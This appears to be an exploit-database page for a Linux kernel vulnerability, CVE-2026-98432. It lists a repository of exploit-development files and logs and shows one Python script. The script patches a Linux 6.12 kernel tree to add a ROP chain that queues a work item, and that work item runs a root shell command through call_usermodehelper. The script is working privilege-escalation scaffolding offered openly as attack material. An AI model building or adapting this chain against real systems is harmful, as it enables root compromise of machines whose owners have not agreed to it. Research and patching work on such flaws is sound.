Exploit databaseDownload repository ZIP
GH-64512fbefaddfbf371789d6022482152
h1z3-br0/cve-2026-98432
Sources for CVE-2026-98432
33 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files34
h1z3-br0/cve-2026-98432Revision fa7e5d9b81d7
- ↑..Parent directory
- rce-stock-26/
- aid-PWNED.2.txt
- aid-PWNED.txt
- aid-controlled-deref.log
- aid-rce-console.log
- aid-rce-console2.log
- aid-srr-trace.log
- aid_chain_poweroff.py
- aid_console_cmd.py
- aid_direct_umh.py
- aid_rce.py
- aid_retarget.py
- aid_shinfo.py
- aid_srr_trace.py
- aid_workqueue.py
- analyze_dbg.py
- analyze_dbg2.py
- analyze_dbg3.py
- child-ack-opts.log
- correlate_rf_ib.py
- find_gadgets.py
- fix_mkinit.py
- fix_work_prints.py
- fnhe-evidence.log
- fnhe-five-cpu-race.log
- fnhe-five-cpu-streams.log
- fnhe-multi-race.log
- patch_dbg.py
- patch_key_payload.py
- patch_rfree.py
- reclaim-locality.log
- uaf-leak.log
- window-measure.log
- xattr-alloc.log
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
artifacts/aid_workqueue.py
Python · 1,804 bytestree = "/home/aesc/lab/linux-6.12.112"
p = f"{tree}/net/ipv4/tcp_ipv4.c"
s = open(p).read()
s = s.replace("#define AID_MACHINE_OFF\t0xffffffff81061680ULL",
"#define AID_MACHINE_OFF\t0xffffffff81061680ULL\n"
"#define AID_QUEUE_WORK_ON\t0xffffffff810b61a0ULL")
anchor = "char aid_stage[8192] __aligned(64);\n"
assert anchor in s
s = s.replace(anchor, anchor + """
static struct work_struct aid_work;
static void aid_work_fn(struct work_struct *w)
{
\tstatic char *argv[] = { \"/bin/sh\", \"-c\",
\t\t\"id > /mnt/PWNED; echo ROOT > /mnt/PWNED.2; sync\", NULL };
\tstatic char *envp[] = { \"HOME=/\",
\t\t\"PATH=/sbin:/bin:/usr/sbin:/usr/bin\", NULL };
\tcall_usermodehelper(argv[0], argv, envp, 2);
}
""", 1)
s = s.replace("\ts[0] = (u64)(unsigned long)(aid_stage + 0x100);",
"\tINIT_WORK(&aid_work, aid_work_fn);\n"
"\ts[0] = (u64)(unsigned long)(aid_stage + 0x100);")
old = """\t\taq[6] = AID_POP_RDI;
\t\taq[7] = (u64)(unsigned long)(aid_stage + 0x400);
\t\taq[8] = AID_POP_RSI;
\t\taq[9] = (u64)(unsigned long)(aid_stage + 0x500);
\t\taq[10] = AID_POP_RDX;
\t\taq[11] = (u64)(unsigned long)(aid_stage + 0x600);
\t\taq[12] = AID_POP_RCX;
\t\taq[13] = 0;
\t\taq[14] = AID_UMH;
\t\taq[15] = AID_POP_RDI;
\t\taq[16] = 1500000;
\t\taq[17] = AID_UDELAY;
\t\taq[18] = AID_MACHINE_OFF;
\t\taq[19] = 0;"""
new = """\t\taq[6] = AID_POP_RDI;
\t\taq[7] = 0;
\t\taq[8] = AID_POP_RSI;
\t\taq[9] = (u64)(unsigned long)system_unbound_wq;
\t\taq[10] = AID_POP_RDX;
\t\taq[11] = (u64)(unsigned long)&aid_work;
\t\taq[12] = AID_QUEUE_WORK_ON;
\t\taq[13] = AID_POP_RDI;
\t\taq[14] = 2000000;
\t\taq[15] = AID_UDELAY;
\t\taq[16] = AID_MACHINE_OFF;
\t\taq[17] = 0;"""
assert old in s
s = s.replace(old, new)
open(p, "w").write(s)
print("workqueue chain patched")